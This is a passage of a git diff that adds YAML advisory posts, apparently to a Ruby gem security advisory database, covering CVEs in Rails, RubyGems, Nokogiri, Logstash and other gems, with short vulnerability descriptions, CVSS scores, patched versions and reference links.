https://github.com/sparklemotion/nokogiri/issues/1634 + * http://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-5029.html + * http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4738.html + cvss_v3: 8.8 + patched_versions: + - ">= 1.7.2" + related: + cve: + - 2016-4738 + - 2017-5029 + url: + - http://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-5029.html + - http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4738.html +--- diff --git a/advisories/_posts/2017-06-16-CVE-2016-1000221.md b/advisories/_posts/2017-06-16-CVE-2016-1000221.md new file mode 100644 index 00000000..666b25f1 --- /dev/null +++ b/advisories/_posts/2017-06-16-CVE-2016-1000221.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2016-1000221 (logstash-core): Logstash Logs Sensitive Information' +comments: false +categories: +- logstash-core +advisory: + gem: logstash-core + cve: 2016-1000221 + ghsa: vcmm-ppqx-95ch + url: https://web.archive.org/web/20210124065200/http://www.securityfocus.com/bid/99126 + title: Logstash Logs Sensitive Information + date: 2017-06-16 + description: |- + Logstash prior to version 2.3.4, Elasticsearch Output plugin would log + to file HTTP authorization headers which could contain sensitive information. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 2.3.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000221 + - https://web.archive.org/web/20210124065200/http://www.securityfocus.com/bid/99126 + - https://security-tracker.debian.org/tracker/CVE-2016-1000221 + - http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.108361 + - https://www.scaprepo.com/control.jsp?command=relation&relationId=CVE-2016-1000221&search=CVE-2016-1000221 + - https://cve.reconshell.com/cve/CVE-2016-1000221 + - https://www.elastic.co/community/security + - https://github.com/advisories/GHSA-vcmm-ppqx-95ch +--- diff --git a/advisories/_posts/2017-07-11-CVE-2017-16833.md b/advisories/_posts/2017-07-11-CVE-2017-16833.md new file mode 100644 index 00000000..f12b5e90 --- /dev/null +++ b/advisories/_posts/2017-07-11-CVE-2017-16833.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2017-16833 (gemirro): Stored XSS in "gemirro" via injection in Gemspec + "homepage" value' +comments: false +categories: +- gemirro +advisory: + gem: gemirro + cve: 2017-16833 + ghsa: x7p2-x2j6-mwhr + url: https://github.com/PierreRambaud/gemirro/commit/9659f9b7ce15a723da8e361bd41b9203b19c97de + title: Stored XSS in "gemirro" via injection in Gemspec "homepage" value + date: 2017-07-11 + description: |- + Stored cross-site scripting (XSS) vulnerability in Gemirro allows + attackers to inject arbitrary web script via a crafted JavaScript URL + in the "homepage" value of a ".gemspec" file. + + A ".gemspec" file must be created with a JavaScript URL in the homepage + value. This can be used to build a gem for upload to the Gemirro server, + in order to achieve stored XSS via the author name hyperlink. + cvss_v3: 6.1 + patched_versions: + - ">= 0.15.0" + related: + url: + - https://github.com/PierreRambaud/gemirro/commit/8acfb9ce9774128d535e2795d583242bb86d6ea8 + - https://github.com/PierreRambaud/gemirro/commit/8fa709b121b7e18fceda308917d0fb68dc1479c3 + - https://rubygems.org/gems/gemirro/versions/0.15.0 +--- diff --git a/advisories/_posts/2017-08-29-CVE-2017-0899.md b/advisories/_posts/2017-08-29-CVE-2017-0899.md new file mode 100644 index 00000000..53c56efb --- /dev/null +++ b/advisories/_posts/2017-08-29-CVE-2017-0899.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2017-0899 (rubygems-update): RubyGems ANSI escape sequence vulnerability' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2017-0899 + ghsa: 7gcp-2gmq-w3xh + url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html + title: RubyGems ANSI escape sequence vulnerability + date: 2017-08-29 + description: |- + RubyGems version 2.6.12 and earlier is vulnerable to maliciously crafted gem + specifications that include terminal escape characters. Printing the gem + specification would execute terminal escape sequences. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 2.4.5.3" + - ">= 2.5.2.1" + - ">= 2.6.13" +--- diff --git a/advisories/_posts/2017-08-29-CVE-2017-0900.md b/advisories/_posts/2017-08-29-CVE-2017-0900.md new file mode 100644 index 00000000..88ce9770 --- /dev/null +++ b/advisories/_posts/2017-08-29-CVE-2017-0900.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2017-0900 (rubygems-update): RubyGems DoS vulnerability in the query command' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2017-0900 + ghsa: p7f2-rr42-m9xm + url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html + title: RubyGems DoS vulnerability in the query command + date: 2017-08-29 + description: |- + RubyGems version 2.6.12 and earlier is vulnerable to maliciously crafted gem + specifications to cause a denial of service attack against RubyGems clients + who have issued a `query` command. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 2.4.5.3" + - ">= 2.5.2.1" + - ">= 2.6.13" +--- diff --git a/advisories/_posts/2017-08-29-CVE-2017-0901.md b/advisories/_posts/2017-08-29-CVE-2017-0901.md new file mode 100644 index 00000000..fb9c25cc --- /dev/null +++ b/advisories/_posts/2017-08-29-CVE-2017-0901.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2017-0901 (rubygems-update): RubyGems vulnerability in the gem installer + that allowed a malicious gem to overwrite arbitrary files' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2017-0901 + ghsa: pm9x-4392-2c2p + url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html + title: RubyGems vulnerability in the gem installer that allowed a malicious gem + to overwrite arbitrary files + date: 2017-08-29 + description: |- + RubyGems version 2.6.12 and earlier fails to validate specification names, + allowing a maliciously crafted gem to potentially overwrite any file on the + filesystem. + cvss_v2: 6.4 + cvss_v3: 7.5 + patched_versions: + - ">= 2.4.5.3" + - ">= 2.5.2.1" + - ">= 2.6.13" +--- diff --git a/advisories/_posts/2017-08-29-CVE-2017-0902.md b/advisories/_posts/2017-08-29-CVE-2017-0902.md new file mode 100644 index 00000000..51e6b4a1 --- /dev/null +++ b/advisories/_posts/2017-08-29-CVE-2017-0902.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2017-0902 (rubygems-update): RubyGems DNS request hijacking vulnerability' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2017-0902 + ghsa: 73w7-6w9g-gc8w + url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html + title: RubyGems DNS request hijacking vulnerability + date: 2017-08-29 + description: |- + RubyGems version 2.6.12 and earlier is vulnerable to a DNS hijacking + vulnerability that allows a MITM attacker to force the RubyGems client to + down load and install gems from a server that the attacker controls. + cvss_v2: 6.8 + cvss_v3: 8.1 + patched_versions: + - ">= 2.4.5.3" + - ">= 2.5.2.1" + - ">= 2.6.13" +--- diff --git a/advisories/_posts/2017-09-19-CVE-2017-9050.md b/advisories/_posts/2017-09-19-CVE-2017-9050.md new file mode 100644 index 00000000..0a70dae3 --- /dev/null +++ b/advisories/_posts/2017-09-19-CVE-2017-9050.md @@ -0,0 +1,69 @@ +--- +layout: advisory +title: 'CVE-2017-9050 (nokogiri): Nokogiri gem, via libxml, is affected by DoS and + RCE vulnerabilities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2017-9050 + ghsa: 8c56-cpmw-89x7 + url: https://github.com/sparklemotion/nokogiri/issues/1673 + title: Nokogiri gem, via libxml, is affected by DoS and RCE vulnerabilities + date: 2017-09-19 + description: |- + The version of libxml2 packaged with Nokogiri contains several + vulnerabilities. Nokogiri has mitigated these issues by upgrading to + libxml 2.9.5. + + It was discovered that a type confusion error existed in libxml2. An + attacker could use this to specially construct XML data that + could cause a denial of service or possibly execute arbitrary + code. (CVE-2017-0663) + + It was discovered that libxml2 did not properly validate parsed entity + references. An attacker could use this to specially construct XML + data that could expose sensitive information. (CVE-2017-7375) + + It was discovered that a buffer overflow existed in libxml2 when + handling HTTP redirects. An attacker could use this to specially + construct XML data that could cause a denial of service or possibly + execute arbitrary code. (CVE-2017-7376) + + Marcel Böhme and Van-Thuan Pham discovered a buffer overflow in + libxml2 when handling elements. An attacker could use this to specially + construct XML data that could cause a denial of service or possibly + execute arbitrary code. (CVE-2017-9047) + + Marcel Böhme and Van-Thuan Pham discovered a buffer overread + in libxml2 when handling elements. An attacker could use this + to specially construct XML data that could cause a denial of + service. (CVE-2017-9048) + + Marcel Böhme and Van-Thuan Pham discovered multiple buffer overreads + in libxml2 when handling parameter-entity references. An attacker + could use these to specially construct XML data that could cause a + denial of service. (CVE-2017-9049, CVE-2017-9050) + cvss_v3: 7.5 + patched_versions: + - ">= 1.8.1" + related: + cve: + - 2017-0663 + - 2017-7375 + - 2017-7376 + - 2017-9047 + - 2017-9048 + - 2017-9049 + - 2017-9050 + url: + - https://usn.ubuntu.com/usn/usn-3424-1/ + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-0663.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7375.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7376.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9047.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9048.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9049.html + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9050.html +--- diff --git a/advisories/_posts/2017-10-09-CVE-2017-0903.md b/advisories/_posts/2017-10-09-CVE-2017-0903.md new file mode 100644 index 00000000..d50317ea --- /dev/null +++ b/advisories/_posts/2017-10-09-CVE-2017-0903.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2017-0903 (rubygems-update): Unsafe Object Deserialization Vulnerability + in RubyGems' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2017-0903 + ghsa: mqwr-4qf2-2hcv + url: https://blog.rubygems.org/2017/10/09/unsafe-object-deserialization-vulnerability.html + title: Unsafe Object Deserialization Vulnerability in RubyGems + date: 2017-10-09 + description: |- + There is a possible unsafe object deserialization vulnerability in RubyGems. + It is possible for YAML deserialization of gem specifications to bypass class + white lists. Specially crafted serialized objects can possibly be used to + escalate to remote code execution. + cvss_v2: 7.5 + cvss_v3: 9.8 + unaffected_versions: + - "< 2.0.0" + patched_versions: + - ">= 2.6.14" +--- diff --git a/advisories/_posts/2017-10-24-CVE-2006-4111.md b/advisories/_posts/2017-10-24-CVE-2006-4111.md new file mode 100644 index 00000000..8f3a946a --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2006-4111.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2006-4111 (rails): High severity vulnerability that affects rails' +comments: false +categories: +- rails +advisory: + gem: rails + cve: 2006-4111 + ghsa: rvpq-5xqx-pfpp + url: https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md + title: High severity vulnerability that affects rails + date: 2017-10-24 + description: |- + Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code + with "severe" or "serious" impact via a File Upload request with an HTTP header + that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112. + cvss_v2: 7.5 + unaffected_versions: + - "< 1.1.0" + patched_versions: + - ">= 1.1.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2006-4111 + - https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md + - https://blog.evanweaver.com/2006/08/12/anatomy-of-an-attack-against-1-1-4 + - https://rubyonrails.org/2006/8/10/rails-1-1-6-backports-and-full-disclosure + - http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits + - https://github.com/advisories/GHSA-rvpq-5xqx-pfpp + - http://www.gentoo.org/security/en/glsa/glsa-200608-20.xml +--- diff --git a/advisories/_posts/2017-10-24-CVE-2006-4112.md b/advisories/_posts/2017-10-24-CVE-2006-4112.md new file mode 100644 index 00000000..c1611a29 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2006-4112.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2006-4112 (rails): High severity vulnerability that affects rails.' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2006-4112 + ghsa: 9wrq-xvmp-xjc8 + url: https://exchange.xforce.ibmcloud.com/vulnerabilities/28364 + title: High severity vulnerability that affects rails. + date: 2017-10-24 + description: |- + Unspecified vulnerability in the "dependency resolution mechanism" in + Ruby on Rails 1.1.0 through 1.1.5 allows remote attackers to execute arbitrary Ruby + code via a URL that is not properly handled in the routing code, which leads to + a denial of service (application hang) or "data loss," a different vulnerability + than CVE-2006-4111. + cvss_v2: 7.5 + unaffected_versions: + - "< 1.1.0" + patched_versions: + - ">= 1.1.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2006-4112 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/28364 + - https://github.com/advisories/GHSA-9wrq-xvmp-xjc8 + - http://weblog.rubyonrails.org/2006/8/10/rails-1-1-6-backports-and-full-disclosure + - https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md + - https://blog.evanweaver.com/2006/08/12/anatomy-of-an-attack-against-1-1-4 + - http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits + - http://www.gentoo.org/security/en/glsa/glsa-200608-20.xml + - http://www.kb.cert.org/vuls/id/699540 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2007-3227.md b/advisories/_posts/2017-10-24-CVE-2007-3227.md new file mode 100644 index 00000000..880de16e --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2007-3227.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2007-3227 (rails): Moderate severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2007-3227 + ghsa: gm25-fpmr-43fj + osvdb: 36378 + url: http://weblog.rubyonrails.org/2007/10/12/rails-1-2-5-maintenance-release + title: Moderate severity vulnerability that affects rails + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in the to_json (ActiveRecord::Base#to_json) + function in Ruby on Rails before edge 9606 allows remote attackers to inject arbitrary + web script via the input values. + cvss_v2: 4.3 + patched_versions: + - ">= 1.2.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2007-3227 + - http://weblog.rubyonrails.org/2007/10/12/rails-1-2-5-maintenance-release + - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release + - https://github.com/advisories/GHSA-gm25-fpmr-43fj + - http://bugs.gentoo.org/show_bug.cgi?id=195315 + - http://osvdb.org/36378 + - http://security.gentoo.org/glsa/glsa-200711-17.xml +--- diff --git a/advisories/_posts/2017-10-24-CVE-2007-5379.md b/advisories/_posts/2017-10-24-CVE-2007-5379.md new file mode 100644 index 00000000..3d53f08f --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2007-5379.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2007-5379 (rails): Moderate severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2007-5379 + osvdb: 40717 + ghsa: fjfg-q662-gm6j + url: http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release + title: Moderate severity vulnerability that affects rails + date: 2017-10-24 + description: |- + Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers + and ActiveResource servers to determine the existence of arbitrary files and read + arbitrary XML files via the Hash.from_xml (Hash#from_xml) method, which uses XmlSimple + (XML::Simple) unsafely, as demonstrated by reading passwords from the Pidgin (Gaim) + .purple/accounts.xml file. + cvss_v2: 5.0 + patched_versions: + - ">= 1.2.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2007-5379 + - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release + - https://github.com/advisories/GHSA-fjfg-q662-gm6j + - http://bugs.gentoo.org/show_bug.cgi?id=195315 + - http://osvdb.org/40717 + - http://security.gentoo.org/glsa/glsa-200711-17.xml +--- diff --git a/advisories/_posts/2017-10-24-CVE-2007-5380.md b/advisories/_posts/2017-10-24-CVE-2007-5380.md new file mode 100644 index 00000000..c16016a3 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2007-5380.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2007-5380 (rails): Moderate severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2007-5380 + ghsa: jwhv-rgqc-fqj5 + url: http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release + title: Moderate severity vulnerability that affects rails + date: 2017-10-24 + description: |- + Session fixation vulnerability in Rails before 1.2.4, as used for Ruby + on Rails, allows remote attackers to hijack web sessions via unspecified vectors + related to "URL-based sessions." + cvss_v2: 6.8 + patched_versions: + - ">= 1.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2007-5380 + - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release + - https://github.com/advisories/GHSA-jwhv-rgqc-fqj5 + - http://bugs.gentoo.org/show_bug.cgi?id=195315 + - http://security.gentoo.org/glsa/glsa-200711-17.xml +--- diff --git a/advisories/_posts/2017-10-24-CVE-2007-6077.md b/advisories/_posts/2017-10-24-CVE-2007-6077.md new file mode 100644 index 00000000..5b589196 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2007-6077.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2007-6077 (rails): Moderate severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2007-6077 + ghsa: p4c6-77gc-694x + url: https://rubyonrails.org/2007/11/24/ruby-on-rails-1-2-6-security-and-maintenance-release + title: Moderate severity vulnerability that affects rails + date: 2017-10-24 + description: |- + The session fixation protection mechanism in cgi_process.rb in + Rails 1.2.4, as used in Ruby on Rails, removes the :cookie_only + attribute from the DEFAULT_SESSION_OPTIONS constant, which + effectively causes cookie_only to be applied only to the first + instantiation of CgiRequest, which allows remote attackers to + conduct session fixation attacks. + + NOTE: this is due to an incomplete fix for CVE-2007-5380. + cvss_v2: 6.8 + patched_versions: + - ">= 1.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2007-6077 + - http://weblog.rubyonrails.org/2007/11/24/ruby-on-rails-1-2-6-security-and-maintenance-release + - https://github.com/advisories/GHSA-p4c6-77gc-694x + - https://ubuntu.com/security/CVE-2007-6077 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2008-4094.md b/advisories/_posts/2017-10-24-CVE-2008-4094.md new file mode 100644 index 00000000..a1efc3cb --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2008-4094.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2008-4094 (activerecord): High severity vulnerability that affects rails' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2008-4094 + ghsa: xf96-32q2-9rw2 + url: http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter + title: High severity vulnerability that affects rails + date: 2017-10-24 + description: |- + Multiple SQL injection vulnerabilities in Ruby on Rails before 2.1.1 + allow remote attackers to execute arbitrary SQL commands via the + (1) :limit and (2) :offset parameters, related to ActiveRecord, + ActiveSupport, ActiveResource, ActionPack, and ActionMailer. + cvss_v2: 7.5 + patched_versions: + - "~> 2.0.0" + - ">= 2.1.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2008-4094 + - http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter + - https://rubyonrails.org/2008/10/23/rails-2-1-2-security-other-fixes + - https://github.com/rails/rails/commit/213f31513e4cb640fa3ed45f387f221401023646 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/45109 + - https://github.com/advisories/GHSA-xf96-32q2-9rw2 + - http://lists.opensuse.org/opensuse-security-announce/2008-12/msg00002.html + - http://rails.lighthouseapp.com/projects/8994/tickets/288 + - http://rails.lighthouseapp.com/projects/8994/tickets/964 + - http://www.openwall.com/lists/oss-security/2008/09/13/2 + - http://www.openwall.com/lists/oss-security/2008/09/16/1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2008-5189.md b/advisories/_posts/2017-10-24-CVE-2008-5189.md new file mode 100644 index 00000000..9847f022 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2008-5189.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2008-5189 (rails): Moderate severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2008-5189 + ghsa: jmgf-p46x-982h + url: http://weblog.rubyonrails.org/2008/10/19/rails-2-0-5-redirect_to-and-offset-limit-sanitizing + title: Moderate severity vulnerability that affects rails + date: 2017-10-24 + description: |- + CRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote + attackers to inject arbitrary HTTP headers and conduct HTTP response + splitting attacks via a crafted URL to the redirect_to function. + cvss_v2: 5.0 + patched_versions: + - ">= 2.0.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2008-5189 + - http://weblog.rubyonrails.org/2008/10/19/rails-2-0-5-redirect_to-and-offset-limit-sanitizing + - http://github.com/rails/rails/commit/7282ed863ca7e6f928bae9162c9a63a98775a19d + - http://weblog.rubyonrails.org/2008/10/19/response-splitting-risk + - http://lists.opensuse.org/opensuse-security-announce/2008-12/msg00002.html + - https://github.com/advisories/GHSA-jmgf-p46x-982h +--- diff --git a/advisories/_posts/2017-10-24-CVE-2008-7248.md b/advisories/_posts/2017-10-24-CVE-2008-7248.md new file mode 100644 index 00000000..7360d27b --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2008-7248.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2008-7248 (actionpack): Improper Input Validation in rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2008-7248 + ghsa: 8fqx-7pv4-3jwm + url: https://weblog.rubyonrails.org/2008/11/18/potential-circumvention-of-csrf-protection-in-rails-2-1 + title: Improper Input Validation in rails + date: 2017-10-24 + description: |- + Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify + tokens for requests with certain content types, which allows remote + attackers to bypass cross-site request forgery (CSRF) protection + for requests to applications that rely on this protection, as + demonstrated using text/plain. + cvss_v2: 6.8 + unaffected_versions: + - "< 2.1.0" + patched_versions: + - "~> 2.1.3" + - ">= 2.2.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2008-7248 + - https://weblog.rubyonrails.org/2008/11/18/potential-circumvention-of-csrf-protection-in-rails-2-1 + - https://groups.google.com/group/rubyonrails-security/browse_thread/thread/d741ee286e36e301?hl=en + - https://www.rorsecurity.info/journal/2008/11/19/circumvent-rails-csrf-protection.html + - https://github.com/advisories/GHSA-8fqx-7pv4-3jwm + - https://access.redhat.com/security/cve/CVE-2008-7248 + - https://bugzilla.redhat.com/show_bug.cgi?id=544329 + - https://pseudo-flaw.net/content/web-browsers/form-data-encoding-roundup/ + - https://lists.opensuse.org/opensuse-security-announce/2010-03/msg00004.html + - https://www.openwall.com/lists/oss-security/2009/11/28/1 + - https://www.openwall.com/lists/oss-security/2009/12/02/2 + - http://github.com/rails/rails/commit/099a98e9b7108dae3e0f78b207e0a7dc5913bd1a + - http://github.com/rails/rails/commit/f1ad8b48aae3ee26613b3e77bc0056e120096846 + - https://rubygems.org/gems/rails/versions/2.1.2 + - https://rubygems.org/gems/rails/versions/2.1.2 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-2422.md b/advisories/_posts/2017-10-24-CVE-2009-2422.md new file mode 100644 index 00000000..8da88bda --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-2422.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2009-2422 (rails): High severity vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2009-2422 + ghsa: rxq3-gm4p-5fj4 + url: http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest + title: High severity vulnerability that affects rails + date: 2017-10-24 + description: | + The example code for the digest authentication functionality + (http_authentication.rb) in Ruby on Rails before 2.3.3 defines + an authenticate_or_request_with_http_digest block that returns + nil instead of false when the user does not exist, which allows + context-dependent attackers to bypass authentication for + applications that are derived from this example by sending an + invalid username without a password. + cvss_v2: 7.5 + patched_versions: + - ">= 2.3.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-2422 + - http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest + - https://exchange.xforce.ibmcloud.com/vulnerabilities/51528 + - https://github.com/advisories/GHSA-rxq3-gm4p-5fj4 + - https://lists.apple.com/archives/security-announce/2010/Mar/msg00001.html + - http://support.apple.com/kb/HT4077 + - http://n8.tumblr.com/post/117477059/security-hole-found-in-rails-2-3s +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-3009.md b/advisories/_posts/2017-10-24-CVE-2009-3009.md new file mode 100644 index 00000000..189d9c78 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-3009.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2009-3009 (activesupport): Moderate severity XSS vulnerability that affects + rails' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2009-3009 + osvdb: 57666 + ghsa: 8qrh-h9m2-5fvf + url: http://weblog.rubyonrails.org/2009/9/4/xss-vulnerability-in-ruby-on-rails + title: Moderate severity XSS vulnerability that affects rails + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in Ruby on Rails 2.x before + 2.2.3, and 2.3.x before 2.3.4, allows remote attackers to inject arbitrary + web script or HTML by placing malformed Unicode strings into a form helper. + + 9/4/2009 url mentions patches for 2.0, 2.1, 2.2, and 2.3 series. + unaffected_versions: + - "< 2.0.0" + patched_versions: + - "~> 2.2.3" + - ">= 2.3.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-3009 + - http://weblog.rubyonrails.org/2009/9/4/xss-vulnerability-in-ruby-on-rails + - https://groups.google.com/g/rubyonrails-security/c/SKs_SiwWGQ8/m/tNHhlHfNV38J + - http://www.osvdb.org/57666 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/53036 + - https://github.com/advisories/GHSA-8qrh-h9m2-5fvf + - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=545063 + - https://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html + - http://support.apple.com/kb/HT4077 + - https://lists.opensuse.org/opensuse-security-announce/2009-10/msg00004.html + - http://www.debian.org/security/2009/dsa-1887 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-3086.md b/advisories/_posts/2017-10-24-CVE-2009-3086.md new file mode 100644 index 00000000..381b88e0 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-3086.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2009-3086 (activesupport): actionpack and activesupport vulnerable to + information leaks' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2009-3086 + ghsa: fg9w-g6m4-557j + url: http://weblog.rubyonrails.org/2009/9/4/timing-weakness-in-ruby-on-rails + title: actionpack and activesupport vulnerable to information leaks + date: 2017-10-24 + description: |- + A certain algorithm in Ruby on Rails 2.1.0 through 2.2.2, and 2.3.x + before 2.3.4, leaks information about the complexity of message-digest + signature verification in the cookie store, which might allow remote + attackers to forge a digest via multiple attempts. + cvss_v2: 5.0 + unaffected_versions: + - "< 2.1.0" + patched_versions: + - "~> 2.2.3" + - ">= 2.3.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-3086 + - http://weblog.rubyonrails.org/2009/9/4/timing-weakness-in-ruby-on-rails + - https://github.com/advisories/GHSA-fg9w-g6m4-557j + - http://lists.opensuse.org/opensuse-security-announce/2009-10/msg00004.html + - http://www.debian.org/security/2011/dsa-2260 + - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/CVE-2009-3086.yml + - https://github.com/rails/rails/commit/1f07a89c5946910fc28ea5ccd1da6af8a0f972a0 + - https://github.com/rails/rails/commit/674f780d59a5a7ec0301755d43a7b277a3ad2978 + - https://github.com/rails/rails/commit/d460c9a25560f43e7c3789abadf7b455053eb686 + - https://web.archive.org/web/20090906010200/http://www.vupen.com/english/advisories/2009/2544 + - https://web.archive.org/web/20090907001716/http://secunia.com/advisories/36600 + - https://web.archive.org/web/20200229150042/http://www.securityfocus.com/bid/37427 + - https://github.com/advisories/GHSA-fg9w-g6m4-557j +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-3287.md b/advisories/_posts/2017-10-24-CVE-2009-3287.md new file mode 100644 index 00000000..34caa590 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-3287.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2009-3287 (thin): High severity vulnerability that affects thin' +comments: false +categories: +- thin +advisory: + gem: thin + cve: 2009-3287 + ghsa: j24p-r6wx-r79w + url: http://github.com/macournoyer/thin/blob/master/CHANGELOG + title: High severity vulnerability that affects thin + date: 2017-10-24 + description: |- + lib/thin/connection.rb in Thin web server before 1.2.4 relies on the + X-Forwarded-For header to determine the IP address of the client, + which allows remote attackers to spoof the IP address and hide 